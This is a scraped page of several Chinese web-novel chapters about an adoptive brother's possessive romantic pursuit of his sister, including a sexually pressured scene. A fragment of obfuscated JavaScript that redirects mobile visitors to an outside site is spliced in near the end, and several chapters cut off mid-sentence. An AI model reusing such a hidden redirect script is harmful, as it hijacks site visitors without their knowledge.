梁思谌抱住她,亲掉她的眼泪,抚摸她的脸颊,细细密密地吻她,褪下那层哥哥的皮之后,便再也无所顾忌了,低声说:“我想在这里要你,想很久了。没有哥哥会对妹妹产生这样的心思,我喜欢你,男人对女人的喜欢,你明白吗?即便你不答应,我们也回不去了。” 从买这套房子的时候,他就在想。 云舒哭着说:“梁思谌,你不是人。” 梁思谌单手解她的扣子,“嗯”一声,语气平静,眼底却是一片压抑的晦色:“对,我不是人。你可以这么骂。” 如果不是早上有事实在走不开,云舒离开衍城的第一时间,梁思谌就会追过来。 不过好在,她只是回学校。 不然他不确定自己会不会干出机场堵人的事,也不会迟了半天才过来,到底还是寻了个由头,没真的把事情捅到爸妈面前去。 他无所谓,不过是挨顿骂或者挨顿打的事,从小到大他想做的事都不吝啬付出应有的代价。 但如果真的那样,她恐怕会即刻崩溃。 毕竟对于现在这种程度,云舒都已经觉得他太过于阴魂不散了。 好像一张大网,牢牢把她锁住。 她被他追得喘不过气。 梁思谌给了她半年考虑的机会,是她心存侥幸,觉得拖到最后,不去想不去听不去看就可以糊弄过去。 是的,闭目塞听只会让事情越来越糟糕。 云舒有点恨他,但更多是恨自己。 为什么不早点想应对之法呢? 在两个人发生实质性关系之前,由她去跟阿姨坦白,虽然会很煎熬和痛苦,但会不会比现在要好? 她不知道,假设没有意义,事情现在已经发生了。 他们接吻了,差点上床,甚至现在就在一张床上,三层的遮光窗帘把卧室压得很暗,床头的台灯驱不散黑暗,他坐在床边,靠她那么近,近到好像一伸手就能拥抱,只要一偏头就能吻上…… 云舒下了床,颓丧道:“我好累……哥,我想……想去洗个澡。” 梁思谌跟着她,靠在浴室门口透过镜子看她。 一张脸哭得泛红,鼻头眼睛都是红的,皮肤很白很薄,好像掐一下就能掐破了,那么脆弱的一个人,其实骨子里又很倔。 “你还是没有回答我,云舒。”他的脸色冷峻得近乎残酷了。 云舒骤然抬头,也从镜子里看他,他的脸倏忽变得陌生起来,她快要不认识他了。 她还是想要逃避,把自己缩起来,等一切自己平息。 他的目光那么陌生,却又那么熟悉。 不知道为什么,云舒想起小时候去他楼上看书,那时候认不得几个字,看书囵囵吞枣,看一眼书,余光看他好几眼,他惯常只是做自己的事,好像完全忽略角落有个小人,这让她没那么紧张害怕。 可是有次她看不懂书,琢磨换个容易读的画本的时候,手边就多了一个词典。 他不知道从哪里抽出来,递给她,然后继续做他自己的事。 有时候饿了渴了,手边都会正好有东西。 他总是漫不经心地添置好她需要的一切。 那时候觉得他好神奇,好聪明,好像什么都知道。 其实是他一直在默默关照她吧。 再后来上中学,她高中的时候他已经去国外读书了,但在学校里表现如何,他都知道。 寒假出去跟同学玩,晚上刚过七点钟,家里司机就去接,也不催她,但就是在外面等。 问了才知道,他打电话叫去的,学校有不少人跟她表白,他耳提面令不许早恋,估计那会儿叫司机看着她,也是怕她被哄骗着留在外面过夜。 或许是梁思谌和叔叔阿姨对她太关照,尽管她只是个外人,家里佣人却都礼貌叫她一声云小姐。 那时候同学们都说:“你哥哥好凶啊!” 她还会辩解一句:“他很好的……” 是个很好的哥哥。 那时候觉得他像长辈,父母去世后就再也没有长辈耳提面命地教她做什么,对于别人来说是束缚,可对她来说,却很有安全感,好像有人关心,被人照顾。 她甚至有点依赖他,他说不许干的事,她从来都不做。 可现在云舒才后知后觉,自己一直都在他掌控欲的笼罩之下。 他从来就是这样的人。 可她能接受他是哥哥,却没办法接受他是男朋友。 是她太迟钝,还是他太过分,她已经分不清了。 两个人对视着,谁也不说话,空气里安静得只能听到彼此的呼吸声,还有水龙头的滴水声,滴答滴答,像是催命符一般,敲击她的心脏。 云舒缓慢地扭过头,平静地说:“一起洗吧!” 不是想要在这儿吗,那就这里吧。 她其实还是没有给他答案,梁思谌越发深刻地体会到了她骨子里倔强,于是带着一点压抑的怒火攥住她的手腕:“虽然我很愿意强人所难,但我对一个心不甘情不愿的木头没多大兴趣,我要你心甘情愿,要么高高兴兴地来,要么咬牙切齿地恨我。” 云舒勾住他的脖颈,泪眼朦胧地去亲吻他,带着点赌气,胡乱亲他的鼻子、脸、嘴巴,呼出的浊气夹杂着她的哭腔:“我可以主动,这样行吗?或者——” 她踩在他的脚上,踮起脚去环住他的脖颈,声音颤抖着,带着气声:“你教我。” 梁思谌反身将她压在门板,湿热的吻重重落下来,他一手捏她的后颈,一只手惩罚似地反复捻揉她的腰,仿佛要她拧成麻花,搓圆了再揉扁了,云舒脱他的衣服,他并不配合,但也没阻止,像是故意为难她,等她承受不住煎熬投降。 可云舒也犟,他越是不配合,她就越是努力。 终于,梁思谌把她抱起来,扔回床上。 但依旧没有做到最后,他亲吻她的小腹,灼热的呼吸 6. Chapter 06 《失控雪山》全本免费阅读 梁思谌当然不是来参加婚礼的,他是去参加葬礼的。 不过她不打算告诉云舒。 有些事他希望永远都不要沾到她身上。 他陪云舒吃了饭,然后让人送她回家去,陪她到机场,一边不动声色抬腕看表,一边低声吩咐保镖:“跟紧她,她方向感不好。送到家里,亲眼看到我父母再走,懂吗?” 保镖点点头:“您放心,梁少。一定安全带云小姐回家。” 云舒垂着头,消极抵抗,一言不发。 梁思谌抬手抚摸了一下她的脸,“回去过年吧,我不打扰你和爸妈团聚,我有点事,办完就直接回美国了,这次是真的。” 云舒终于抬头看了他一眼:“可是叔叔阿姨……很想你。” 他们应该也会很希望和自己儿子一起过新年。 “他们也很想你,如果我在,这个年谁也过不好,所以我不回去了。”梁思谌盯着她,“云舒,这世上不能两全的事太多了,如果你学不会做选择,那你永远都在两难的痛苦里挣扎。” “可是我不想这样……”云舒抬手捂住自己的脸,微微弯下腰,把脸埋在掌心,痛苦地呼出一口气,“我们能不能不这样。” 梁思谌安静地等她自己消化,声音平静又决绝:“那你想怎么呢?你想要什么要自己去争取,小舒,我知道你所有的脾性,优点还是缺点了如指掌,但你也同样了解我,我们很公平,我说过,你如果不愿意,可以恨我,讨厌我,甚至用尽一切办法来报复我。” 云舒麻木地垂着眼,想自己大概还是太无能了,她不敢,也不想,总觉得那不是她想要的。 哪怕到了现在,她痛苦极了,觉得自己好像快要被这扭曲的关系给溺死了,但还是什么都不敢,她只想把自己缩起来,祈祷命运巧妙地发生转变,让错位的一切都回归正轨。 梁思谌站在安检前,旁若无人地亲吻她的额头,温柔地替她捋顺头发别在耳后:“我反而很希望你能考验我,那样你会知道,我有多爱你。” 云舒不再争辩,反正也说不过他。 她很累,一种精神上的疲倦,上了飞机就睡着了。 莫名梦到那个叫做嘉宁的小城。 那是她的祖籍所在地,但从出生到这么大,其实就去过两次,一次是母亲还活着的时候,那时候还小,已经没有印象了。 一次是大学时期。 她那段时间其实接到很多次那边打来的电话,但她都忽视了,但还是忍不住好奇,或许也是因为心结一直打不开,所以想要去看看。 可其实到了就后悔了。 他们很热情地迎接她到家里,但一坐下来各种不适就倾轧过来。 “小舒大概是快把我们忘了,三催四请的,都不乐意回来看一眼。”舅舅的声音带着几分自嘲和落寞,还有几分不加隐藏的刻薄,锐利的眼神直视他,仿佛是一种指责:真是凉薄啊。 他生病了,白血病,突然念起亲情来,想起自己唯一的姐姐还留有一个血脉,他的亲外甥女,如今已经上大学了,考的是数一数二的医学院。 他辗转找来联系方式,嘘寒问暖,殷勤备至,瞧她反应平淡,怕她误会,特意说:“没别的事,就是想你了,有空回来看看。以前你小,两边离得这么远,我们也不敢让你乱跑。” 但刚坐下没说两句话,就开始打听:“你们学校很厉害吧,那你一定认识很多专家?” 仿佛也自知理亏,努力辩解:“这些年也不是舅舅不管你,实在是日子不好过,你在梁家享福,我们也不敢多跟你接触,生怕人家心里不舒服,怕拖累了你。这些年我们也不敢联系你,生怕人家觉得我们是想占什么便宜,我们虽然穷,但骨气还是有的。舅舅没沾过你什么光。” 他情真意切,说到动容处,还掉了两滴眼泪。 云舒始终淡淡的,心里一片悲凉,茫茫然地听着,好像和自己毫无关系。 她忍不住想,母亲去世多久了。 掰着指头算一算,竟然有十几年了。 真是好漫长的岁月。 妈妈去世的时候,她其实并没有很希望留在梁家,人对遥不可及的东西,是抱着本能的畏惧的。 她曾经很期盼自己能等来一通亲人的电话,或者谁把她带走,她在心里暗暗发誓,自己会很乖的,会努力做家务,照顾自己,也照顾家人,只要给她一张床,一口饭,她一定会努力报答的。 可没有,他们仿佛生怕她黏上他们就甩不掉,那时候没有,后来十几年了也没有,一通电话都没打过,没人在乎她过得如何,梁家是否是值得托付的人家。 梁家人看她因为母亲去世郁郁寡欢,想要她得到一点来自血亲的关爱,其实打过电话,他们听到是梁家人,急匆匆挂了电话。 叔叔阿姨瞒着云舒,闭口不提,其实云舒恰巧听见了,那一年还小,很多事想不通,既想不通别人都说血缘是最亲的纽带,可为什么有血缘关系的亲人对她避之不及,也想不通为什么梁叔叔和周阿姨愿意收养她一个毫不相干的人。 后来想明白了,很多人大概生来就是没有亲人缘的,妈妈活着的时候,也没从魏家得到什么关爱,他们的“疼爱”,也不过是妈妈的错觉。 舅舅重重咳嗽了几声,云舒这才回过神。 对面的人虚弱地喘着粗气,身旁的舅妈忙拍他的背,一边给他顺气,一边意味不明说了句:“小舒有福气,梁家把她当亲闺女养,咱们这些穷亲戚,实在不应该给她拖后腿。要不是你舅舅病成这样,我们也不愿意打扰你。”最后一句,是对着云舒说的。 他们好像终于找到了一个逻辑严谨的理由,不厌其烦地重复、加深,为自己塑造一个用意深刻的伟大模样,好像连自己都快要相信了。 云舒觉得费解,他们到底为何能把这种一戳即破的谎言,说得如此冠冕堂皇。还是笃定她不会拆穿他们? 妈妈活着的时候,每天也是被他们这么对待的吗?用这么拙劣的演技扮演着亲人,然后理直气壮地对她敲骨吸髓。 ——妈妈去了梁家之后,收入明显高了很多,他们都知道,妈妈在一个富豪家里做佣人,每年年尾的赏金都是他们全家人加起来都赚不到的。爸爸曾经因为夭折的姐姐寻求过家里的帮助,他隐去了羞辱和斥责的部 7. Chapter 07 《失控雪山》全本免费阅读 梁思悯接到她哥电话的时候,正在闺蜜的会所里看着巴啦啦小魔仙打麻将,输得裤子都要当掉了。 “梁思悯,现在回家。” 梁思悯刚做的美甲,bulingbuling金闪闪的,延长甲比清宫娘娘的护甲还夸张,一朋友拿她手做手模,她没做过这么夸张的,不是很适应,但还没卸掉。 这会儿手里捏着一串葡萄捏不稳,旁边一个男招待体贴地手托在下面,男生化着淡妆,身上香水味若有似无,她被梁思谌一句话差点吓得扔掉地上,“干……干嘛?” 她甚至下意识往包厢门口看了看,以为梁思谌偷偷来抓人了。 虽然她什么也没干,但这场面她也解释不清。 长这么大,梁思谌比她爸管得都多,都给她形成条件反射了。 “大过年不回家陪爸妈,你天天在外面鬼混什么,还有,玩两天得了,别乐不思蜀,早点回学校,我让人给你买机票,三天……不,后天就回去。你微积分学得一塌糊涂,我给你圈了重点,开学前看完。” 她冬假本来就短,待国外待得都要抑郁了。 这会儿顿时抱住头:“爸妈恨不得眼不见我为净,哪里需要我陪。你真的阴魂不散,梁思谌你怎么这么讨厌!” “谢谢,彼此彼此。”梁思谌声音四平八稳,根本不为所动。 梁思悯刚想说不回,有本事你回来打我。 然后就收到转账。 叮咚叮咚叮咚—— 消息响个不停。 全是梁思谌的大额转账。 他大学就跟人合作创业做项目了,去国外了之后老爸把海外分公司的业务也交了一部分在他手上,他向来是会赚钱的,但也没见他这么大方过。 “干嘛!!!你别吓我,你干了什么对不起我的事?咱俩约个架就能解决的事,不要试图用金钱腐蚀我。” “云舒最近心情不好,你这两天多陪陪她。我知道你没什么耐心,但她好歹叫你一声姐姐。” 梁思悯和云舒关系挺好的,但俩人性格天差万别,一个活泼热情过了头,身边花团锦簇,坐下来十分钟不吵不闹都是难得,一个可以把自己闷在房间里写作业一整天都不觉得枯燥,安静乖巧,能跟人多说一句话都能算今天心情不错的,俩人向来玩不到一起去,所以平常接触的时间不多。 梁思悯:“……你又惹人家了吧!你真不是人。要我说我们云舒本来好好的,你不去惹人家她简直半点烦心事都没有。” 啪,电话挂了,一点铺垫没有。 杜若枫笑了笑:“你哥?” 梁思悯点点头,突然发癫,双手举过头顶,仰天长啸:“来个人把我哥带走吧。” 杜若枫有样学样:“来个人也把我哥带走吧。” 杜若枫的父母去世了,她哥是真的既当爹又当哥,管她特别严厉,杜少霆工作忙,过年都不消停,没法陪她过年,但又不让她外出,因为觉得她去哪里都不安全,日常聚会恨不得把在场所有人的家庭背景都调查一遍,俨然一副强迫症发作的样子,杜若枫今天还是偷偷跑出来玩的。 这家会所是她哥的,她让人留了间包厢,就叫了几个朋友。 梁思悯把手里葡萄吃完了,顺便让人过来给她卸美甲,然后收拾着自己的小手包:“不玩了,我回家了。虽然我挺烦他的,但他一向对我们云舒的事很上心,不会拿她开玩笑,我不回去他下次见我估计能剥了我。而且云舒好像今年确实不大开心,除夕那天回家情绪就不太对,后来我哥带她走了,我就没问,我回去看看。” 杜若枫跟云舒也不太熟,见过几次,很乖巧文静一个小姑娘,平常不怎么出来,所以交集不多。 “你哥对两个妹妹的态度简直天差地别。”杜若枫觉得好笑,“你都不吃醋的吗?” “我?”梁思悯一副你别开玩笑的样子,“我和云舒可以组成受害者联盟好不好,你要是知道他是怎么管云舒的,你就知道云舒是多么的小可怜。” 她思索片刻,“比你哥还过分,我有时候都受不了,但云舒就那性格,我无论多鼓励她起义,她都不敢,孺子不可教啊。” 指甲卸了,终于清爽了,梁思悯提起手包起身:“好了,回去审问一下我哥又干什么混账事了,回家跟爸妈告状。妹妹小可怜由我来守护!” 杜若枫笑得不可自抑:“我想象不出来,你哥看起来比我哥斯文绅士多了。” 她哥哥杜少霆属于强势说一不二又固执的人,杜少霆和梁思谌同龄,也是朋友,所以杜若枫见梁思谌的次数还是挺多的,印象里就是个气场两米八但其实做事说话很有分寸的大哥。 梁思悯撇撇嘴,“他这种表面斯文的人才最变态,可能平时太压抑了。他以后谈恋爱估计够呛,注孤生。” - 云舒确实心情不佳,飞机上睡不安稳,到了家跟阿姨说了会儿话,就撑不住,回自己房间去睡了,这一觉也没睡安稳,做了好几个梦中梦,有次从床上醒来,发现梁思谌就在床边,她的房间和叔叔阿姨不在一层,但她还是惊出一身冷汗,猛然折起身,彻底清醒过来,才发现是个梦中梦,但还是心悸了许久。 因为一直颠来倒去做梦,睡了几个小时,越睡越累了。 家里佣人来敲门,问她是不是不舒服,她说没事,只是昨晚没睡好,飞机上颠簸累了。 阿姨让人把晚饭送到房间里,她没什么胃口,勉强吃了一些,昨晚下了会儿雨,没多久就飘起了雪,白天放晴了,这会儿外面又下起了雪,她趴在窗户边发了会儿呆,正好看到悯悯姐回来,门廊下的机器人发出一声欢快的:“欢迎光~~~~~~临。” 云舒阴郁的心情才稍稍晴朗些,扯着唇角笑了下。 但旋即又想起高三那年寒假,似乎也是这个角度,她看着梁思谌进家门,也是同样的欢欣。 她的唇角又耷拉下来。 那是前年,那年的冬天也很冷,冷风呼呼地吹了三天,吹得人都要阴郁了。 云舒放假很久,梁思谌才从国外回来,那天下午窝在房间里做寒假作业,已经埋头三个小时有余了。 突然,院子传来汽车声,门廊下的机器人热情用电子音一顿一顿地唱着:“你从哪里来,我的朋友~” 云舒的房间对着院子,声音穿过玻璃隐隐约约传过来。 甚至还是美声,音调高亢,语气昂扬。 房间的显示屏可以切门口的监控,于是她切过去看了一眼。 梁思谌从车上下来,刚整理了下袖子,就被它突如其来的歌声吓得微微后撤了一些,他那种八风不动的性格,也忍不住恼火一瞬,旋即似乎又觉得好笑,哭笑不得骂了句:“闭嘴。” “哦,好吧。” 那个机器人叫萌萌,萌萌有些委屈,横挪了两步,停顿片刻又搜了一段影视片段出来播:打倒帝国主义!! 然后梁思谌就把它电源拔掉了。 嗯……不过它有备用电源,伤心欲绝地说:“哦,天呐,我要死了。” 云舒起身趴在窗户往外看,只看到他一个侧影,心情就变得很好,也忍不住莞尔,出声喊人:“哥,你回来了。” 那机器人略矮,大约有一百四十公分,是个少年的模样,和梁思谌还有几分像,据说是参考了他的脸。 悯悯姐刚成年的创业项目,互动机器人,成品只有三台,第一批样品刚出,项目就宣告崩盘,搬了一台在家里,周阿姨非常嫌弃,梁思谌也很嫌弃,但谁也没有扔掉它,允许它自由出入家里每个角落,后来嫌它聒噪就放在门口迎宾了。 他们大约还是为梁思悯感到骄傲的。 梁家人看似 8. Chapter 08 《失控雪山》全本免费阅读 “你去参加谁的葬礼了?”杜少霆好奇问梁思谌,他在电话里提了一嘴,但说得不清不楚。 这会儿梁思谌刚下飞机,杜少霆来接他。 梁思谌上了车,先脱掉了外套,然后扯了领带,眉心染着几分阴郁,随行的保镖和律师隔着车窗低声询问:“那梁少,我们就不跟您的车了,先告辞了。” 梁思谌“嗯”一声,“辛苦。” “应该的。” 车窗升起,圈起一丝静谧,杜少霆打量片刻,继续道:“戾气这么重,谁惹我们梁大少了。”说着,已经转动方向盘,寻着出口往外走。 这大半夜的,能让他亲自来接的人不多。 梁思谌被他揶揄一句,神色才收敛几分,笑骂一句:“去你的。” 哑黑色的跑车驶离停车场,然后缓缓汇入车流,新年对他们这种人来说,向来没多大趣味,只盼着亲人团聚,可这会儿,杜少霆深夜来接机,把相依为命的妹妹撇在家里,梁思谌千里迢迢回衍城,却连家都不回,还让杜少霆别告诉别人他回来了。 “云舒她舅舅,死了。”梁思谌简明扼要,“敲诈勒索两百万,我没送他们进去只是不想云舒觉得难堪,人死了还想找她闹,说要曝光她戕害人命,我只好亲自过去一趟。” 白血病可以骨髓移植,直系亲属配型成功的几率是很高的,他们想要云舒去配型,但梁思谌根本就没告诉她。 “不是,所以你去闹人家灵堂了?”杜少霆一副看热闹不嫌事大的语气。 云舒还小的时候,梁家其实找过她的亲人,对方开口就问她爸爸飞机失事的赔偿金,要求全额转到他们名下,才愿意接她回家。 人为财死,虽然凉薄恼人,倒也合乎人性,梁家请了律师做了方案,在保证云舒能安全长大的基础上做出了一定的妥协和让步,那时梁家对云舒家里的恩怨并不多了解,只是单纯觉得由亲属抚养更利于孩子身心健康。 但对方几次三番态度反复横跳,梁家才深入了解了云魏两家的背景,后来觉得两家人人品欠缺,不忍心云舒在那样的环境下长大,才彻底把云舒当做养女养在家里。 很多事都没告诉过云舒。 这些杜少霆都知道,因此觉得梁思谌做什么都不奇怪。 “带几个律师普普法,顺便看看这些人还能多脑残。” “你不该亲自去的。让你爸妈知道,非打断你腿不可。”俗话说小鬼难缠,他们这样的家庭,向来忌讳锋芒太盛,不是好事。 梁思谌抿唇,没有说话。 杜少霆看他表情,没再多说:“我知道你有分寸,不过你是不是对云舒过于紧张了。” “你对你妹妹不紧张?” 杜少霆和杜若枫关系更复杂,父母不在了,杜少霆才是真的又当哥又当爹,大大小小的事他都要操心。 “得,当我没说。”杜少霆失笑。 沉默片刻,杜少霆又忍不住问:“大过年的,你不回家玩什么过家门而不入呢?” “没什么。” 过了许久,大概是憋闷,他还是开了口:“我喜欢云舒。” “哦。”这谁不知道呢? 从小到大梁少把两个妹妹当眼珠子,一妹性格强势,也就不需要他做什么,俩人没事就吵架干仗,但偶尔被欺负,他比谁都反应激烈。 二妹性格温和善良,从小父母双亡让她性格变得阴郁沉默,他就难免多关照一些,大大小小的事都是他在管,以前没少人调侃他,说他跟养女儿有什么区别。 杜少霆到现在还记得,想当年他要出国的时候,云舒也就刚初中,那一年好巧不巧她倒霉事一连串,先是运动会被撞骨折,后来又突发耳鸣,出去吃个饭的功夫遇上市民压力太大崩溃当街报复社会,无差别攻击路人,她侥幸没受伤,但心理创伤很大,之后好一阵都噩梦连连,请了假在家休养,前前后后加起来四个多月,都是梁思谌陪着,还因为推迟了入学。 这么多年,圈子里谁不知道,但凡涉及云舒的事,都是头等大事,以至于他不在了,身边朋友也都会替他照看一二。 就连杜少霆都去给云舒参加过家长会,因为梁叔叔和周阿姨工作很忙,对梁思谌和梁思悯都是放养政策,但梁思谌觉得他和梁思悯都是很能折腾的性格,所以不需要横加管束,但云舒不一样,她内敛,沉默,安静乖巧又懂事,她需要被关爱,需要被重视,放养只会让她无所适从。 事实证明他是对的,云舒在他的看管下并没觉得压抑痛苦,反而变得开朗自信了不少,但也间接导致她对梁思谌有点过分依赖。 杜少霆脑子转了一圈,突然联想到他说不回家怕云舒不自在,脑子灵光乍现了一下,不可置信道:“哪种喜欢?” “嗯,就那种喜欢。”梁思谌坦然。 杜少霆扶了下眼镜,“你疯了?” 梁思谌嗤笑一声:“可能吧。” “她知道了?” “嗯。” “你这表情……”杜少霆深呼吸,“你不会还干别的了吧?” “嗯。” 杜少霆骂了句脏话,“你真不是人。” 梁思谌觉得烦躁,降下车窗,吹了会儿冷风,手搭在车窗边沿,手腕的腕表下还有一道指甲印,那是他攥云舒手的时候,被她掐出来的。 她那么害怕,惊弓之鸟一样,有那么一瞬间他是动摇了的,想放过她,也放过自己,但闭上眼就会想起她和别的男人谈笑风声的样子。 他记得那是她十八岁生日的前两天,他其实并不是前一天才到,要比她以为的还要早一天,房子买下来远程托人去弄,也找了信得过的人去验收,但还是不放心,亲自去看了眼。 云舒这个人对自己向来认识不清,她一向觉得自己是个很好养活的人,但其实呢,非常挑食,嘴巴很刁,一点不新鲜她都能尝出来,火候差一点她都会食欲大减。 只是她确实是个好说话的人罢了,从来不会挑剔厨师,不好吃的时候就少吃点,仅此而已。 她对住的地方也很挑剔,卧室的采光不好,阳台面积不够,通风、照明……哪一项欠缺,她都会睡不好,因此她上大学神经衰弱,早就在他意料之中,她很憧憬宿舍集体生活,他才想要成全,后来一直后悔没早点给她安排房子。 那天他去检查了房子大大小小的细节,看了看她的课表,发现她那天课满得连晚上都有课,他凭着记忆去了她上课的阶梯教室,从后门进去,在角落里坐了下来。 那个教室很大,可容纳四个班级一起上课。 云舒就坐在前几排中间的位置,她旁边有个男生一直在跟她讲话,不知道讲了什么,云舒也笑起来,两个人谈笑风生,十 9. Chapter 09 《失控雪山》全本免费阅读 云舒又做梦,梦里反反复复都是梁思谌。 她也不确定那算不算噩梦,但她确实心神不宁,惶惶不安,夜里怎么也睡不安稳,总是反复惊醒。 她开始忍不住逐帧回忆这些年的点滴,企图从中找到让自己感到困惑的答案。 但她分不清感情中那些细微的差别,因而感觉到更深的困惑。 悯悯姐下午陪了她一会儿,坦然地问:“梁思谌又欺负你了?” 她却无法坦然地回答这个问题,于是只好摇头,为自己的不坦诚而感到些微的难过。 梁思悯挑眉,但也没说什么,她性格张扬,但在细节上却很体贴人,只是嘟囔一句:“你总是替他遮掩,哪天他把天捅个篓子,我估计你都会给他捂着,你这是助纣为虐。” 然后苦口婆心劝她:“不要因为他对你好你就什么都听他的,他对你好是应该的,哥哥就应该照顾妹妹,而且你这么乖巧的妹妹,他能照顾你是他三生有幸。他赚翻了好吗,你就应该骑在他脖子上耀武扬威,竟然还天天被他欺负。” 云舒忍不住笑了下。 那会儿心情还不错,但一安静下来,又重新归于惶然。 夜里更是梦不成眠。 凌晨四点钟,她睁着眼看天花板,半梦半醒间,又想起生日前一天,那天她很早就起了,雷霆暴雨,轰隆作响,刹那如同末日来临,梁思谌发消息叮嘱她不要乱跑,他来学校接她。 室友愁眉不展,感慨这恶劣天气,行程尽毁。 她心情却很不错,甚至眼角眉梢都染上笑意。 她一向喜怒不显,因而室友也忍不住调侃:“今天怎么了,我们舒舒这么高兴。” 她这才抿唇一笑:“我哥今天来看我。” 梁思谌虽然在国外,但隔三差五就会回来一趟,来得还算频繁,室友忍不住道:“你哥对你真好,我哥就是大傻帽,我俩一见面就吵架,上次六一儿童节他给我寄整蛊玩具,我一拆开一个大毛毛虫弹我脸上,真是……给我气笑了。” 她微微错愕,好像悯悯姐和梁思谌也一见面就吵,俩人一碰面,年龄自动减十岁,特别幼稚。 或者这就是亲兄妹和非亲兄妹的差别吧,她有些羡慕地笑了笑,半开玩笑道,“可能因为我小时候一直比较娇气吧,动不动就哭,他不敢骂我。” 室友表示羡慕。 梁思谌来的时候已经近中午了,他似乎没睡好,神色有些倦怠,眼睛里都有红血丝了。 “要不你先找个地方睡一会儿吧!”云舒有些担忧。 他好笑地扯了下唇角,抬手捏她的脸:“我千里迢迢来找你,然后找个地方睡觉,我闲的?” 云舒表情纠结:“可是……” 她没可是完,他就把她塞车里了,暴雨倾泻,车子开得很慢,整个世界被大雨覆盖,好像只剩下车厢这一点空间,狭窄的,潮湿的,或许还带着一点暧昧,只是那时没发觉,只顾得上开心,左看看,右看看,开学这么久,在A市待了两年,好像从没认真看过这个城市,每次待在他身边才会由衷地感到安全感,然后才会想要去探索世界,所以她趴在车窗,一直盯着外面看,路过一个地方,就低声跟他解说,告诉她自己和这个城市的交集,她外出的时间不多,但周末也会和朋友一起出去吃饭逛街看电影,去参观一下景点,在城市里漫无目的闲逛,或者跟社团一起参加社会实践活动。 她事无巨细地说,他便一直听着,间或问两句细节,气氛融洽。 下午去看房子,他陪她去逛超市,公寓附近有家商超,不到两百米的距离,两个人步行过去,附近有商店在做情侣活动,似乎刚散场,街上都是成双成对手拉手的情侣,两个人混在其中,云舒忍不住有些不自在,于是不停地说话,想要转移注意力,他不动声色地听着,入口处买了杯奶茶,塞进她手里。 云舒叫他:“哥。” 梁思谌扭头看她,她却忘了要说什么,停顿片刻,问他:“你什么时候走?” “还不到半天,就着急赶我走?”他玩笑道。 云舒还是着急地摇摇头:“我……不舍得你走。” 他勾了下唇角,抬手摸她的脑袋:“不然你跟我去国外吧。” 云舒楞在那里,不知道怎么回答。 其实高中的时候,梁叔叔和周阿姨一直主张把他们都送去留学的,所以打算把她也送去国际高中,学校都帮她选好了,梁思谌说他会留在国外陪她念完书。 但她拒绝了。 因为那时她就发现,她好像对梁思谌过分依赖了,她本能地想要和他拉远一点距离。 他没等到她的回答,但也只是扯了下唇角:“想我就给我打电话。” 云舒“嗯”了声,心情莫名变得有些低落。 她晚上带他去吃自己吃过还不错的餐厅,他们还是一直说话,云舒第一次发现,自己原来可以说那么多话。 或许是酒精作祟,她觉得自己的灵魂都变得轻盈,抓着他的胳膊,说了好多好多话。 在他吻过来之前,她都觉得,那是很美好的一天。 然后时间好像戛然而止在了那一刻。 云舒一直不敢去回想,可是半梦半醒间,那场景再次浮现,他的身体滚烫,压抑克制的情绪仿佛到了临界点,于是那眼神都变得让云舒陌生,镜片折射出她的表情,和他的眼睛重叠在一起,云舒颤抖着想要后退,他也并没有强迫她,她霍然起身,酿跄着往玄关处走。 每一步都像是踩在她的心脏,那种灭顶的灾难来临的恐惧顷刻把她吞没。 云舒呼吸越来越急促,像是快要溺死了。 呼—— 她仰着脖子,骤然从床上折起身,大口喘息着,身上都是黏腻的汗。 她睁着眼,盯着天花板发了好久的呆,然后才慢慢地,把自己蜷缩起来。 凌晨五六点,她起来洗了个澡,靠在露台上吹冷风。 晨雾稀薄地流淌着,沁冷的空气钻进鼻腔,唤醒了一点理智。 天只微微亮,大地一片沉寂,云舒握着手机看时间,它却突兀地弹出一条消息。 【怎么不睡觉。】 头像是一片暗蓝色的夜空,梁思谌。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13414184|124169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思悯你皮痒了可以告诉我,我打你不嫌手疼的。 梁思悯抢过手机,懒懒靠在云舒怀里:“谁打谁还说不定,我怕你? “我提醒你一下,你最迟后天就要回美国,我会在门口拿着皮带等你。 梁思悯仰头看云舒,云舒浑身都是僵硬的,额头都冒出细细密密的汗。 “你看你把小舒吓的,你真该死啊。 “是你太重压着她了,起来,没长骨头吗,把人压得长不高你赔吗。 梁思悯赌气地抱紧云舒:“云舒都没说什么,要你管?你怎么这么讨厌。 梁思谌嘲讽的话还没说出口,周女士一把把手机又抢回去,对着屏幕看儿子,数落:“你俩凑一起就没好好说过话,真是吵得我脑仁疼。 梁思谌这才作罢,没继续骂下去,只是说自己最近在忙投资的事,年前的项目,由朋友全权负责,但他还是趁着过年回来稍微考察了一下,然后明日要回美国,从衍城机场走,问她要不要来送。 周女士撇撇嘴,说见那一面太仓促,懒得去,半晌又说:“航班信息发过来。 两个人聊许久,梁思谌又跟父亲讲话,父子俩一个比一个寡言,但聊起生意却又滔滔不绝,梁思悯听得直打哈欠,再次抢过来手机:“没完没了了,让不让人睡觉,爸妈今日忙一天,都准备睡了。 梁思谌又数落她,但也忍不住叮嘱:“我已经让人给你订了票,后天晚上,最迟大后天中午,到时候见不到你看我不抽你。别打哈欠了,去睡觉,苦苦熬着等着睡神把你吻睡? 说着,又板着脸说一句:“云舒也去睡,黑眼圈都要比肩大熊猫了,没事不要熬夜。 梁思悯确实困了,她作息本就健康,很少超过十点还没睡,一般九点就睡了。 这会儿拉上云舒:“走,我们去睡觉,别理他了,说话真讨人厌。 云舒如蒙大赦,跟叔叔阿姨道了晚安,急匆匆逃跑了。 上楼梯的时候,梁思谌还在电话里同母亲讲话。 她回到房间,锁上门,然后似乎才感觉到浑身发虚冒虚汗,膝盖一软,险些瘫坐在地上。 片刻后,梁思谌的消息就过来: 【云舒,没什么大不了,你如果也喜欢我,那我们便是两情相悦,你同我也不违背法律和道德,事上总没有两情相悦就是错的道理,即便他们无法接受,那也只是观念不同,并不代表你对不起任何人。若说错,那罪大恶极是我,同你没关系。我从前就对你讲过,你要学会接受别人的不理解和失望,不必觉得难过,你生来就是你自己,不必为了满足谁的期待而活。】 【晚安,不许胡思乱想,觉得难受可以跟 我通电话,我唱歌哄你睡觉。】 